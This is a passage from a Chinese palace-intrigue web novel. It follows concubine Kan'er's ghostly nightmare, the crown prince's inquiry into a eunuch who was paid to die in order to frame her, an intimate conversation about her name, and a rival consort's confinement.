她想和银竹、跳珠说话来壮胆,亦或者和太子走近些,挽住他的胳膊啥的。
但念头刚起,槛儿反应过来!
自己这做的明显是相当恐怖的梦,那么她周围的人包括太子在内,必然都和现实中的他们不一样了。
肯定都沾染了某些吓人的东西。
譬如她若现在去抓银竹的手,没准儿会抓一手的滑腻冰冷,等她扭头看过去。
银竹的脸肯定极其骇人!
她若和跳珠说话。
没准儿耳边会突然被人吹一口冷气,跟着响起阴森的人声对她说:“主子您看,奴婢可是您要找的跳珠……”
又譬如她现在喊一声前面的太子。
太子可能会突然停下来,等她走近时再猛地转过身,露出一张眼珠子乱滚舌头乱甩,张着血盆大口的的脸!
槛儿边在梦里走着边想象了一下这些场景,浑身鸡皮疙瘩都起来了。
她不禁屏住呼吸,手习惯性要护住肚子。
哪知刚抬手。
脑海里就又有了想象,会不会她的手刚放到肚子上孩子就会破肚而出?
亦或是出来的不是孩子……
槛儿僵住手。
最终决定静观其变。
其实如果可以她更想现在立马即刻当下就醒,可惜试了几次都不行。
没办法。
就这么到了嘉荣堂门口。
黑雾弥漫,鬼哭神嚎,阴风惨惨,投射在墙上的树影似鬼影幢幢。
门前的宫女太监皆面色青绿,双目或死气沉沉、或空洞阴森、或诡异含笑。
都直勾勾地盯着槛儿。
槛儿就觉得害怕这种情绪其实跟多大年纪,久居高位什么的没多大关系。
就眼前这种情形,在明知自己不能脱身的前提下试问谁不会怕?
反正她怕。
槛儿的心跳得厉害,她尽量稳住心神,跟着前面的假太子步入嘉荣堂。
行到通往正房的石板路,两侧及四周廊檐下的情形和今晚的如出一辙。
一片死寂。
槛儿也在同样的位置看到了那具盖着白布的尸身,一只手露在外面。
槛儿呼吸急促正要闭眼。
就见那只手竟是猛地一动!
紧跟着白布似是被风吹开,**的小忠子一身麻布中衣直挺挺地立起来。
随即只听得他的脖子“咔嚓”一声,竟是扭头直直地朝槛儿看了过来!
“啊!”
槛儿反射性惊呼出声。
旋即环视周遭,发现太子和银竹他们不知何时离了她数丈之远,俱都青白面色双目诡异地注视着她。
郑氏、曹良媛、金承徽以及秦昭训站在太子身边,皮笑肉不笑地看着她。
偌大的庭院中间,眨眼间竟只剩了她和**的小忠子……不,还有一人。
彩云。
双脚离地,披头散发的彩云。
槛儿按住心口,一遍遍默念:这是梦、这是梦,梦里的一切都是假的……
刷!
刷!
却是小忠子、彩云以迅雷不及掩耳之势闪身,两张脸陡然凑到近前。
几乎和槛儿脸贴脸!
槛儿连连后退险些摔倒。
岂料二人紧追不舍。
小忠子恶狠狠道:“宋昭训,宋昭训……我是被你害死的,被你害死的!”
“你赔我一条命来,赔我一条命来!”
彩云拖着舌头,双目渗出血泪:“槛儿,槛儿……我们不都是做奴才的吗?
我们因为你**,你都不伤心难过吗?你好狠的心,做了主子就忘了本。
要不是你,我们怎么会死,你害我们害得好苦,槛儿,槛儿……我不能呼吸了,我不想死,你来陪我吧……”
“来陪我——”
“主子!主子醒醒,醒醒!”
说时迟那时快。
眼见彩云面容扭曲地伸手扑来,槛儿陡然一惊,耳边响起瑛姑姑的声音。
槛儿一个哆嗦骤然睁开眼。
瑛姑姑见状面上一喜。
紧握住槛儿的手一面拿帕子擦着她脸上的汗,一面不住地轻哄着。
“没事了,没事了,醒了就没事了。”
旁边的寒酥、跳珠和周嬷嬷也都面露担忧,你一言我一语地说着安抚的话。
槛儿心有余悸地喘着气,脸跟脖子全是汗,暂时顾不上同她们说话。
等终于缓过来,她坐起来。
“什么时辰了?”
寒酥:“快午时了。”
槛儿垫着靠枕靠坐到床头。
颇有种劫后余生之感地虚虚问:“我做了多长时间的梦,你们可清楚?”
寒酥道:“您拢共睡了两个半时辰,两个时辰之后您的脸色就不好了,一直冒冷汗怎么叫都不醒。”
半夜霜云来报消息时,院子里值夜的是小福子和小满子,屋里是跳珠在守。
所以起初槛儿和太子刚走的时候,歇在耳房的瑛姑姑、周嬷嬷和后罩房的寒酥并不清楚发生了什么。
之后小福子提了一嘴霜云跟海顺说的话,他们才知竟出了这样的事。
但那时嘉荣堂严禁宫人在外打探,后面又围了一圈东宫侍卫,加上到后院来搜人的那批人也闭口不言。
致使小福子没能打听出嘉荣堂里面究竟什么情况,只知道事情闹得很大。
瑛姑姑等人就担心得厉害。
还是槛儿睡着了,他们才从跳珠和银竹口中弄清了整件事的来龙去脉。
周嬷嬷几人替槛儿愤愤不平的同时也心有余悸,庆幸自家昭训有手段。
若不然他们也要跟着……
而瑛姑姑作为看着槛儿长大的人,除了愤怒和后怕,自是还有心疼。
当然这心疼除了有对槛儿昨晚所遭遇的事,还应在几年前的一桩旧事上。
且两件事还很相似。
瑛姑姑的眼眶不免就泛起酸来。
不过当着周嬷嬷她们的面,她没表露什么,也不想旧事重提惹槛儿难受。
“来,您先润润嗓。”将床头小几上的一碗温水递到槛儿跟前,瑛姑姑道。
“喜雨她们去膳房提膳了,您早上没用膳定是饿了,稍后多用些压压惊。”
槛儿漱漱口,又
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喝了大半碗水。
人总算有了精神。
“那梦太真实了,跟夜里我和殿下去嘉荣堂一路见到的情形一模一样,之后就梦到他们找我索命……”
“呸呸呸!”
才说到这儿,瑛姑姑扭头朝床围外呸了好几口,嘴里不忘念念有词。
“姜太公在此,百无禁忌,姜太公在此,百无禁忌!诸邪退散,诸邪退散!”
周嬷嬷、寒酥和跳珠也念了好几遍,念完都看向槛儿,意思再明显不过。
槛儿噎了噎。
也知道她们为她好,于是跟着念了几遍。
念完便没再提此事了。
不过认真说来,这个梦做得很适时。
当时那种情况的确骇人。
连着两个人的尸身,跳珠平时那么胆大的人后半夜补觉都做了噩梦。
槛儿比她小又有着身子,后怕是常理,真睡得好才会叫人匪夷所思。
午膳过后。
小福子向槛儿禀了外头的情况,说太子妃连夜把沁芳居的宫人给减了。
削减后的宫人除了弄墨全换了,换下来的宫人去了哪暂时不得而知。
秦昭训从香叶轩搬出来了。
搬到了东六院的蕙风苑。
香叶轩则被封禁了,宫人也都被调走了,只正房和院门口有四个看守的。
都是典玺局的人。
另外今天上午太子妃在整顿嘉荣堂,据说剔了不少人到东宫后院去了,有的挨了板子给送去了内仆局。
明面上是为了防止嘉荣堂再有类似方宏、芳莲和翠萍那样,为利背主、祸乱宫闱的人而进行的一次整顿。
实则是在肃清曹良媛的人。
槛儿想,郑氏尤为注重自身贤名,且历来自诩一切尽在她掌握之中。
这次怕是被气得不轻。
事实的确如此。
郑明芷一宿没睡,除了整顿院里的人,也是委实恼怒得根本没有睡意。
不仅仅是恼曹良媛和那些宫人,还有金承徽和槛儿她都给恼上了。
恼金承徽蠢,有心做坏事没本事善后。
恼槛儿是个招祸精。
说东宫后院没槛儿的时候不知多平静祥和,她一来就各种惹是生非,连累她这个当家主母名声受损。
她压根儿懒得去想槛儿从始至终没招惹任何人,是别人先容不下槛儿。
“主子,咱先前计划的那事怕是暂时做不了了,”内室里庞嬷嬷小声道。
这先前计划的事。
指的便是郑明芷打算将她娘拿给她的那药,用到太子身上的这事。
郑明芷之所以至今没动作,一是她慎重,二也是想让人先跳出来探探路。
哪知事情会是这么个走向。
郑明芷冷笑:“以往我只当她是个不安分的浪蹄子,如今看倒是小瞧了她。”
这个她不言而喻。
庞嬷嬷:“能在宫里做绣娘的没点儿能耐还真不行,也是咱忘了这茬。”
郑明芷继续冷嗤。
嗤完,她眼神阴沉沉。
“那就走一步看一步,总能找到机会……”
傍晚,元淳宫。
骆峋下值回来照旧先沐浴收拾,之后来到书房,海顺紧跟其后关好门。
“主子,方宏都招了。”
骆峋:“先说人**的。”
海顺知道自家主子在说那个叫小忠子的净军太监,不由放轻了声音。
“说是自尽。”
“二十两银子买他一条命。”
第124章 曜哥儿:父王在和其他女子亲亲我我?!
二十两银子什么概念?
嘉荣堂浣衣所宫女的月银是五钱,也就是要不吃不喝攒三年多能够二十两,宫外普通长工则要攒四年多。
按当下一石米七钱银子算,二十两够买近二十五石米,够宫外一个普通五口之家两年多的基本口粮。
够买八百斤猪肉,一千三百多斤盐。
不管哪朝哪代,偏远地区家境贫穷的人可能一辈子都没见过银子,二十两于他们而言就是泼天的富贵。
小忠子家中便是如此。
其入宫前,一家七口整年的收入不过二两,经手的都是铜钱,没见过银子。
小忠子进宫后,每年除夕之前倒是通过内务府核批,给家里寄过银子。
但他家上有老下有小,他爹前两年干活摔坏了腿,又是一笔不小的开销。
宫外往往二两、五两便能买一个丫鬟小厮,小忠子就觉得二十两买他一条命。
是他赚了。
所以当方宏找上他。
当着他的面给了他二十两银子说出计划时,小忠子考虑了一晚上就答应了。
他和方宏在两个月前便合计好了。
计划实施当天,也就是昨日。
小忠子在该和他一起值夜的小元子的晚饭里,加了巴豆制成的泻药。
药是方宏给的。
等到夜里。
小忠子把那件肚兜揣到身上,洗完了剩下的所有恭桶,并将其摞到用来晾恭桶的两个大板车上。
一个恭桶有六斤左右,拢共八十个。
以防万一死不了,小忠子在撞倒恭桶前让方宏在其身后敲了他一棍子。
小忠子撞到板车上时人是昏迷的,不断有恭桶砸中他的脑袋,而涮洗恭桶的地方在嘉荣堂后院西北角。
宫墙夹道的一处棚屋里。
也是为了不腌臜到其他人,所以这地方设得离人吃住的地方很远。
也因此小元子找到小忠子时,他人都凉了。
方宏倒也没撒谎。
小忠子拿到银子后就借倒夜香的当头,买通了一个和他熟悉的守角门侍卫。
把银子交给了宫门外的灯笼小贩,实则是专帮宫女太监寄送东西的快脚郎,花钱让对方将银子带给他家里。
这其中涉及到的门路自是不少。
这样的事先帝爷时期整顿过几次,但绝不了根,过个几年就又有人做了。
而像小忠子这样的。
自己的生活尚且自顾不暇,哪会有心思去想被其构陷的人下场如何。
总之,小忠子这条线海顺捋清了。
剩下的便是方宏。
说到这儿海顺欲言又止,止言又欲。
旋即当他对上太子深幽淡漠的眼神时,海顺想起先前这位爷说过的。
再有下次,自己领罚。
海顺顿时不敢支吾,将方宏承认的喜欢槛儿一事,事无巨细地告知太子。
其实让海顺来看。
这件事不管是幕后主使曹良媛,还是实施者金承徽,以及一开始为此对宋昭训怒不可遏的太子妃。
都漏了一点。
那便是太子在同意让还是宫女的宋昭训侍寝之前,就让暗卫对其的日常习性与男女关系进行了调查。
这个调查查的不纯粹是宋槛儿这个人,更查的是她是否有其他隐藏身份。
譬如是谁安插到东宫来的线人之类的。
也因此宋昭训在成为昭训前,和旁的宫女太监有没有不清不楚的瓜葛。
除了本人,没人比太子和海顺更清楚。
诚然,太子妃自己也有调查,但太子妃的人哪有暗卫来得有手段呢,这其中她自觉有疏漏之处也正常。
而曹良媛和金承徽。
许是以为太子纳人跟外头的某些公子哥儿一样,是个美人都能二话不说收房。
也可能是一门心思都在算计宋昭训这件事上了,反而疏忽了这一点。
这倒也合情合理。
就是……
海顺觑一眼太子,心里多少还是有些拿不准这位爷此时此刻的心情。
毕竟,按方宏所说。
他与宋昭训是有过近距离接触的,虽然宋昭训只是出于纯粹的善意。
可这男人吧,有时候挺那啥的。
有的男人自己在外面勾三搭四,眠花宿柳,女人和别人多说一句话都不行。
若不然便是不守妇道,不贞不洁。
男人回去了便各种撒气,又是禁足又是学规矩,要么就是通过床上那点儿事彰显自己的威风、地位。
海顺虽然也算是男人。
却是瞧不起这种动辄通过打压欺负女人的方式,来彰显自己雄风的男人。
自家爷必然不是这种人,可海顺不确定这位主儿心里会不会多少也介意呢?
“孤看你是想换个地方当差了。”
海顺思绪正发散着呢,书案后倏地响起熟悉的声音,他瞬时一个哆嗦。
旋即露出狗腿子的笑:“哪能呢,奴才可是打定主意要伺候您一辈子。”
骆峋:“呵。”
海顺讨好地上前打开茶盏盖儿,奉上茶:“奴才也是不想您不舒坦。
那小太监嘴皮子一拌黑的都能说成白的,可实情如何您知奴才知,您犯不着将那起子人的话放在心上。”
骆峋没把那太监当回事,亦没把对方说槛儿与其接触过的话放在心上。
只有心术不正蝇营狗苟之辈才会曲解别人的善意,才会将私心强加于人。
更甚者恩将仇报。
骆峋亦不认为槛儿救人一命是多管闲事,那在当时对她而言,充其量是做了一件寻常人力所能及之事。
以负义者之罪归咎于施恩者之德,只有不公不仁之流才会有此想法。
“此人交由你,沁芳居的那名宫婢亦交由你处置,”骆峋沉吟片刻道。
海顺:“可要缓刑?”
先前姜侧妃之事,太子以为宋昭训腹中胎儿积福为由,没有要了对方的命。
“不必。”
骆峋轻啜一口茶。
留姜氏一命有为幼儿积福之意,另有宣王这层关系在,且对方挑拨离间之言甚多,死之于她过于便宜。
至于昨晚那些人。
意在玷污槛儿清誉,置她及其腹中胎儿于死地,要积福也轮不到他们。
海顺明白了,转身交代下去。
等他回来,就听太子道:“孤记得,宋昭训入宫之初身契签的万年契?”
万年契即死契。
海顺道:“是
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万年契,宋昭训晋位后契便作不得数了,早先奴才亲眼看着内务府的人将昭训的契焚了。”
顿了一下。
海顺问:“可是昭训的契有何问题?”
“没。”
骆峋起身往外行。
他只是在想,早前他去沁芳居,金承徽与底下的宫人皆不曾在明面上表现出对曹良媛的嫉恨怨怼。
轮到槛儿了。
他分明够偏她,甚至让她有了身子。
却仅因她的出身便诸多人觉得她碍眼,随便一个低阶宫人都敢诬告她。
位份还是低了。
.
因着太子的禁口令,昨晚嘉荣堂发生的事没有在整个东宫后宅传开。
即便有人因为后院的各种变故主动打听,也在看到其他人皆一副讳莫如深的模样后纷纷歇了心思。
而嘉荣堂里的人,除非真的活腻了,否则自是没有人敢对外泄露实情。
一天过去,整个后院平静得像似无事发生。
瑛姑姑寻机好好敲打了小福子等人一番,让他们对外统一了说法。
槛儿把心思放回自己和孩子身上。
然后就发现除了昨儿那场异常的胎动,今天又恢复了之前的胎动规律。
槛儿试着在其动的时候像以前那样和它说话,小家伙的回应也很有规律。
像是真能听懂似的。
但槛儿知道不可能,这时候的孩子听不懂人话,只是会回应外界的声音。
她昨晚当着太子的面表现出很惊奇的样子,只是为了逗逗太子罢了。
倒是跳珠和喜雨坚持认为小主子能听懂话,当然也是为了逗槛儿开心。
小福子跑来说太子来了时大伙儿刚聊完这个话题,槛儿脸上还带着笑。
将太子迎进屋,她问:“殿下觉得这个月份的孩子能听懂我们说话吗?”
别的孩子能不能不知道,反正曜哥儿能。
他现在知道自己在娘的肚子里了,就没再像昨天那样大动干戈了。
但不可避免地还是要动。
因为他太小啦,精神和身子都不怎么受控,每次醒来一会儿就又困了。
有时候他迷糊着手脚自己就动起来了,还会自发地吞咽裹着他的东西。
曜哥儿尝了一下味道。
有种淡淡的清甜。
嗝~
好饱。
骆峋随槛儿进了东次间,在临窗铺了棕红朵花对鸟纹褥子的炕上落座。
当着瑛姑姑等人的面,太子爷没去摸槛儿的肚子,只问:“适才动了?”
槛儿笑着道:“隔将近半个时辰就有动静,但都很轻微没什么问题。
刚刚动了,想是听见爹爹来了,高兴呢。”
不。
我只是打了个饱嗝。
曜哥儿如是想着。
当然,父王来了他也高兴。
这辈子的父王和娘貌似感情很好?
不对。
他还不知道宋昭训和宋奉仪是不是同一个人呢,曜哥儿倒是知道娘的名字。
可自从醒来,他一直没听到谁叫**名字。
如果宋昭训不是宋奉仪,那他父王这会儿岂不是在和其他女子亲亲我我?!
曜哥儿瞪大眼……
哦,眼睛睁不开。
第125章 槛儿名字里的含义,《太子的爱妾美妾》
骆峋知道槛儿在打趣,不过他知晓母音入胞,孕五月幼胎肾精贯双耳之说。
他不久前在医书上看到的。
太子爷不会玩笑,只会惜字如金地告知相关医学知识,末了得出结论。
“孕五月,不懂人言。”
先前坚持小主子能听懂话的跳珠:“……”
槛儿注意到她涨红的脸,险些没绷住笑。
尤其太子的神情格外冷肃正经,不知道的还当他在与人商讨公务呢,不过也说明了太子对孩子很上心。
若不然哪知道这么多。
于是等之后上了榻槛儿真心实意夸赞了太子一番,赞他学识渊博什么的。
又装不懂地问六月的胎儿生长情况如何,七月的、八月的又该是如何。
骆峋只觉得她又在打趣他,便捏住她的下巴让槛儿微微抬起头。
凤眸细细审视着她的脸,打算找出她戏谑他的证据,再视情况训诫一番。
哪知对上那双波光盈盈的美目,却只从其中看见了满满的真诚与崇敬。
骆峋难得怔了怔。
槛儿和他对视,似犹豫道:“殿下……”
骆峋眼见着她眼底的笑意褪去,取而代之的是一种踌躇,欲语还休。
“怎么?”他问。
“您……”
槛儿迟疑地握住他的手。
“会介意吗?”
她自己反正是不介意的,又不是真和谁有染,做什么要去介意一个谣言。
槛儿知道太子也不会。
夜里他抱她回来时槛儿便清楚了。
至少短期内不会。
日后这件事会不会如曹良媛所愿,在这人心里落下种子,再长成参天大树。
槛儿不确定,也不怕。
上辈子过于畏惧他,所以她费尽心思揣测他的每句话、每个字里的语调语气,揣测他每个动作的含义。
槛儿太熟知这人的分寸和底线了。
因为熟悉,所以即使这件事在他心里落了种,槛儿也有办法将其按死。
让其没有长成的可能性。
她之所以现在有此一问,一则自然是为了符合她这会儿的年龄和性情,二则槛儿想听太子亲口说。
他话少没关系,不主动也没关系。
她问就是看,掌握好分寸引导他就好了。
又不是什么难事。
“孤尚未开口,哭个什么?”
骆峋眉头蹙了蹙,拿指腹拭去从宋昭训腮边滚落的泪珠,不赞同道。
槛儿微哽地迎着他的目光:“妾身也不想哭,可妾身忍不住,妾身……
妾身虽出身低微,却也知羞明理,做不出那起明知不可为而为之的事。
妾自进宫便小心万分,哪知还是遭人这般诬陷,妾身气恼也害怕,怕您……”
剩下的话消失在男人的唇间,倒也没深入,就这么纯粹地轻轻贴着。
槛儿微微怔愣。
骆峋便对上她的眸子,拿他那双幽冷的黑眸牢牢锁住她,另一只手顺着槛儿的手腕往下,握住她的手。
修长的手指一根一根,挤进她的指缝。
十指相扣。
不多时骆峋撤了开,眸底一片清明。
“没做过的事就是没做过,孤有眼、会看,有耳、会听,有脑、会思考。
孤不昏聩,是非曲直孤自有论断。”
言下之意没做过便无需有任何担忧,他不会为捕风捉影的事而猜忌人。
但反之。
他也会看得明明白白。
太子此言明显不是在许诺,也没有告诉槛儿他有多么多么地信任她。
让她只管安心什么的。
他只纯粹在阐述他的观点。
在告诉槛儿,他的原则底线。
在槛儿看来,太子这种极其客观理智的实在话,反倒比他直接跟她说他有多相信她来得更叫人放心。
槛儿便笑了:“妾明白了。”
骆峋从枕头下抽出一方帕子擦去她眼角的泪,随后抱着人一起躺下。
帐中安静了小会儿。
骆峋蓦地开口:“你……”
“殿下要说什么?”
骆峋沉吟片刻。
低头看着怀中之人,“旧燕衔春至,新雏绕槛飞,你的名字孤作此解。”
槛儿正疑惑太子怎么突然吟起诗来了呢,就冷不丁听到他后面那一句。
她先是愣了愣,旋即笑了出来。
“为何发笑?”骆峋问。
槛儿抱住他道:“妾是在感动,感动您将妾身的名字理解得这么好。”
骆峋问:“本义为何?”
槛儿还没和谁聊过自己的名字呢。
上辈子这人也从不过问这样的事,她当然不可能主动上赶着解释。
虽然不解太子为何突然想起问她的名字,但反正也不是什么不能说的。
槛儿就同他聊了起来:“您知道通常乡里给小孩取名都怎么取的吗?”
骆峋:“以排行为名者,如大柱、二柱,以牲禽器物、身体部位为名者,如狗剩、驴栓、铁锤、大头。
以自然万物或心愿为名者,水生、树生、各种花草,平安、来福诸如此类。”
槛儿错愕脸。
骆峋:“……孤是太子。”
好吧好吧。
槛儿抹了一把脸。
心道是她一时忘了,皇家子弟虽久居宫廷,却是自小被要求观政问俗。
其中以知民情,恤民瘼为首要。
即熟知民情,了解民间疾苦。
不少皇家子弟在这方面做得都差强人意,但这个课题在皇家一直是必不可缺的。
太子作为储君,对于治国理政、民生民情的掌握自然要精于其他皇家子弟。
若不然这位置也轮不到他。
这么一来,太子熟知寻常乡下百姓人家为小孩取名的特点也不足为奇。
“对,我们村子大多就是按您刚刚说的这几种起名法来给小孩起名。”
槛儿调整好情绪道。
骆峋:“你的便是?”
槛儿想了一下。
“妾身祖籍在安庆府宿松县一个名不见经传的小村子,我们村姑娘家的名字多是三娘、大妹、二妹,春妮、花姑,梅菊、桃杏这样的。
大人觉得名字起简单些,糙些好养活。
妾的名字也是这么来的,槛是门槛的槛,也是坎坷的坎,宋槛儿,送坎儿。
妾身的娘希望把妾身往后的人生道路上,所
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有的坎坷不顺全部送走。
她说只要有人喊妾身的名字,就是在帮妾身送走人生中的挫折磨难!”
娘的本义是好的。
只她老人家疏忽了一点。
那便是“送”。
有送走的意思,也有送来的意思。
娘走后她被外祖父、外祖母接回去和舅舅舅母生活时,舅舅舅母跟表哥表姐没少背着二老骂她的名字晦气。
说她娘给她起的啥破名儿,是要把晦气往他们家送,说她是来克他们的。
他们要二老给她改名。
改成宋福妮,宋福来。
但外祖父、外祖母听说了娘起这个名字的意思后,还是让她用这个名儿。
槛儿也很喜欢娘起的名。
直到她被舅舅舅母卖了,直到她一路讨饭到京城,直到她进宫遭遇的种种。
上辈子的槛儿不止一次想,宋槛儿,真的是把坎儿都送给她自己了吗?
但每每这个念头一冒出来,就又很快被槛儿压下去了,她要相信娘。
娘不会害她的。
有害女儿的娘,但她娘不是这样的。
事实也确实如此。
她没有一直苦下去。
她从奴才到低阶侍妾,一步步成了太子宠妾,成了庆昭帝的宠妃、宠后。
甚至有了重生这样的际遇。
而这辈子,她更早地成了宠妾。
骆峋见槛儿说着说着噤了声,神情似恍惚感怀,只当她想她母亲了。
想着这个话题是他起的头。
骆峋顿了顿,将槛儿拥进怀中。
“令堂起的名,很好。”
槛儿收回思绪,埋到他怀里掩饰情绪,“妾身也觉得娘起的名儿好……”
说着,槛儿想起一件事。
她眨眨眼。
从太子怀里抬起头,假装巴巴儿地看着他:“殿下,您好像没唤过妾身。”
骆峋顿住。
槛儿:“爱妾、美妾、名字,都没唤过。”
稍等。
名字暂不说,爱妾?
美妾?
这算哪门子称谓?
骆峋:“……”
骆峋俊脸微绷:“你从哪听来的这些?”
槛儿相当诚实:“话本,除了爱妾美妾,还有美人儿,小美人儿,娇娘。”
骆峋:“…………”
得亏太子爷定力好才没被口水给呛着,但他的嘴角有些许绷不住了。
耳垂也微微发烫。
趁还没失态,太子爷将美妾的头按回怀里,嗓音冷如冰:“安置吧。”
槛儿其实也要绷不住了,天知道她费了多大的劲才忍住笑出声的冲动。
另外也是有些羞的。
太不正经了。
她的性子是变了不少,可这么不正经的话要说出口也是挺难为情的。
槛儿想,自己真是豁出去了。
骆峋则觉得她可真是……
亏她说得出口,简直不庄重到了极点,明明早先那般胆小的人。
但……
骆峋抿紧唇,但嘴角没忍住。
翘了一下,又翘了一下。
过了小会儿。
他状若无事地淡淡道:“这月底休沐,你随孤去坤和宫给娘娘请安。”
第126章 (合章)曜哥儿与金承徽,“一尸两命!”
是夜,香叶轩。
金承徽被关了一整天。
之前她禁足不是闭门,时不时还能到院子里溜达几圈或找秦昭训唠唠嗑。
但半夜被押回来,她就被关在了正房。
房里除了浴间和净房,便只书房、厅堂、次间与卧房之间可以走动。
这样几个房间对犯了死罪被软禁起来的人来说,已经是条件极好的了。
总归比吃住、出恭,做什么都在一个屋子里的好得不止一星半点儿。
但对金承徽而言,这些地方她熟得不能再熟,毫无新意可言她也不稀罕。
她只知道自己被关起来了。
只知道太子为了个奴才出身的贱妾,把她这个太后钦点的太子承徽软禁起来了!
构陷谋害皇嗣,伪造丑闻祸乱宫廷,大不敬,太子要怎么处置她呢?
金承徽想,肯定是赐死。
这么多罪名也只有死路一条。
可是凭什么?
三年前她不惜设计毁掉爹为她定的亲事,也要毅然决然报名参加选秀。
累死累活学了几个月的规矩,又费尽心思地买通宫人,把她排到好位置。
眼看皇天不负有心人,眼看她进了东宫,成了东宫仅有的三个人里的其中一个。
她都跟家里说好要混个名堂出来,都跟那些拿鼻孔看人的侯府公府小姐放话,日后要她们跪着给她磕头了。
她都放弃好好的正妻不当,跑来当妾了,结果太子竟就这么待她!
竟敢这么待她!
她堂堂官家小姐,哪里比不上一个奴才?
哪里就比不上宋槛儿那个乳晃臀摇,骚得离了男人就活不了的贱妾!
金承徽不懂。
这些皇家人的脑袋是被水泡发了吗?
奴才就是狗啊。
是可以呼之则来挥之则去,没有自尊的狗啊,和这些狗东西沾染上关系。
他们都不嫌脏的吗?
还让宋槛儿孕育皇嗣,简直滑天下之大稽,那么一个奴才的血脉。
生下来的孩子血不肮脏吗?
金承徽是真心费解。
他们家也有丫鬟小厮,那些个下人平日里就是有银子拿便什么脸都不要的。
狗都比他们有骨气!
所以金承徽觉得太子有病,皇家人有病,让宋槛儿去伺候太子的郑氏也病得不轻。
咕噜——
寂静的夜里倏地一声腹鸣。
金承徽裹着被子翻了个身,按住肚子。
按太子昨晚没当场赐死她来看,金承徽猜测太子应该是不想把这事闹大。
如此,她肯定会死得神不知鬼不觉。
要么是赐白绫、鸩酒、在饭菜里动手脚,对外称她暴毙,要么让她得个什么慢性病,日复一日地耗死她。
除了前两个,其余都是要从饭菜入手。
所以今天金承徽滴水未进,粒米未沾,白天门口的人给她的饭菜送来什么样,端回去就还是什么样。
金承徽想着,她绝对不会吃的。
她要想办法跑。
跑不了她也要叫人递消息出去。
太子不是不想事情闹出东宫吗?
她偏就要把事闹大!
她要让满宫都知道宋槛儿与倒夜香的太监通奸!让满宫的人都知道宋槛儿肚子里揣的根本不是皇嗣!
是野种!
是太子先不仁不义的。
金承徽寻思。
反正她讨不了好,那就都别想好过!
她要弄死宋槛儿和她肚里的野种,还要让东宫蒙羞,让太子被**!
被废!
这么想着,金承徽开始琢磨起计划。
翌日一早,天光破晓。
金承徽被“吱呀”的开门声惊醒。
是早膳送来了。
金承徽现在的饭菜是先由膳房的人送到香叶轩,经院门口的人检查没问题,再送到看守正房的人手中。
四处的门窗俱被封**。
正门上除了有锁,还挂的有铁链。
门口的人送饭菜是先开锁,把门开一道缝,将饭菜从门下面推进来。
有那条铁链,即使开了锁,门打开的宽度也不够金承徽从里面钻出来。
眼见送饭的人要把手缩回去,门又要关了,金承徽猛地冲过去扑倒在地!
一把抓住那人的手。
往对方手里塞东西。
“这是太子赏的玉佩,镶金的上等和田玉!够你们这样的人一辈子吃喝不愁了!我现在要你们替我做件事!”
金承徽被押回来时屋里所有值钱的东西都被袁宝带人搜走了,她身上戴的首饰珠钗一件都没留。
这块玉佩还是她趁乱藏进贴身衣物里才给留下的,是中秋太子按例赏的。
有钱能使鬼推磨。
金承徽觉得,她都能花银子买人命了,一块上好的镶金和田玉佩收买看门的几个太监还不是绰绰有余?
殊不知负责看守香叶轩的根本不是普通太监,其中两个是太子的暗卫。
另两个则是典玺局的。
被金承徽抓住的朔蛉刚巧是太子暗卫,他瞥了眼被塞到手里的玉佩。
收了起来。
金承徽以为他这是答应了。
心中顿时喜不自胜,暗道她就说这些奴才是狗吧,给根骨头就能任人使唤。
尊严什么的,这些人根本没有!
朔蛉假装没看到金承徽眼里的不屑,问:“承徽主子要奴才做什么?”
金承徽站到门缝中间。
双臂环胸道:“帮我弄身宫女的衣裳跟能出东宫的腰牌,再把我放出去。”
得亏朔蛉是暗卫,素日沉稳内敛。
若不然这会儿该笑出来了。
怎么着,这就想混出东宫啊?
东宫要这么容易让人混进混出,那不早成筛子了,还要他们这些暗卫做啥?
朔蛉:“对不住承徽主子,您要的这些奴才办不到,奴才自己都没腰牌呢。”
“你!没用的东西!”
金承徽没好气,转向另一个太监。
那太监是典玺局的,刚在一旁看戏呢,这会儿见问起了他,他也苦了脸。
“承徽主子,您就别为难奴才了。”
金承徽气不打一处来。
可惜她现在虎落平阳被犬欺。
没办法。
她只好咬牙道:“那就帮我弄些纸笔墨来!替我送几条消息到东宫外面!”
死就死!
反正她死也要拉东宫垫背!
朔蛉和另一个太监对个眼神。
啪!
把门给锁了。
“你……你们这两个狗奴才!”
金承徽被吓一跳。
反应过来自己这是被人耍了,她气得一蹦三尺高,把门板拍得砰砰响。
“两个黑心肝的狗奴才,把玉佩还我!还我!殿下没有废我,我就还是主子!我要禀明殿下把你们剁碎了喂狗!”
“下三滥的低贱玩意儿!没了根的阉狗残废!把玉佩还我听到没有?!”
任她如何拍喊,外面朔蛉几人只作不知。
金承徽喊得嗓子冒火也无济于事,隐隐闻到一股饭菜香,她吞了几口唾沫。
随即抄起托盘就朝门砸去。
一碗冒着热气的玉米糊糊,一个白面馒头,青菜豆腐汤,外加一碟腌萝卜条。
尽数被泼到门板上,再稀稀拉拉落到地上。
换做以前,这样的饭食根本到不了金承徽跟前,如今却是叫她闻着口水直流。
但她绝不会吃,绝不!
又骂了几句,金承徽着实受不了这股饭菜味,跑回卧房瘫倒在榻上。
接下来的两天,金承徽一直重复做着两件事。
骂人,摔饭。
摔饭,骂人。
然而门上的那条铁链始终没有打开过,也就是说任她如何摔饭,没有人进来清扫。
幸好如今十月中旬,饭菜两三天不至于馊,若不然屋里可想而知。
不过没有饭菜馊味儿,屋里的味儿也不甚好闻。
俱因金承徽被押回来时这边的浴间和净房便没再备水,眼下过了三天,净房内的恭桶里已然惨不忍睹。
金承徽也没了力气再闹腾。
三日滴水未进,粒米未沾,她虚脱得只能躺在榻上,蓬头垢面脸色灰白。
双眼下方青得发乌,人瘦了一大圈。
金承徽恍恍惚惚,眼前阵阵发黑。
突然。
“手脚麻利着点儿,屋里屋外都收拾干净了,你俩给承徽主子洗漱去。”
是海顺的声音……
海顺!
金承徽睁大眼想要起身出去,奈何早脱了水,整个人丁点力气也无。
她便虚弱地扯着公鸭嗓嚎。
没嚎两声,进来两个宫女。
将金承徽从榻上搂起来,合力搀到浴间。
一番收拾完毕,不论屋子还是金承徽本人,都干净整洁得和从前别无二致。
金承徽换了身樱粉缎面的短袄,紫绒花马面裙,梳着单蟠髻,髻上一朵日常戴的绢花和两根银鎏金簪钗。
双耳戴了青玉珍珠坠儿。
次间炕上的小几上摆着色
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香味俱全的膳食,金承徽被搀着靠坐在炕上。
刚刚替她梳妆打扮的两个宫女一人负责稳住她,一人负责喂她吃饭。
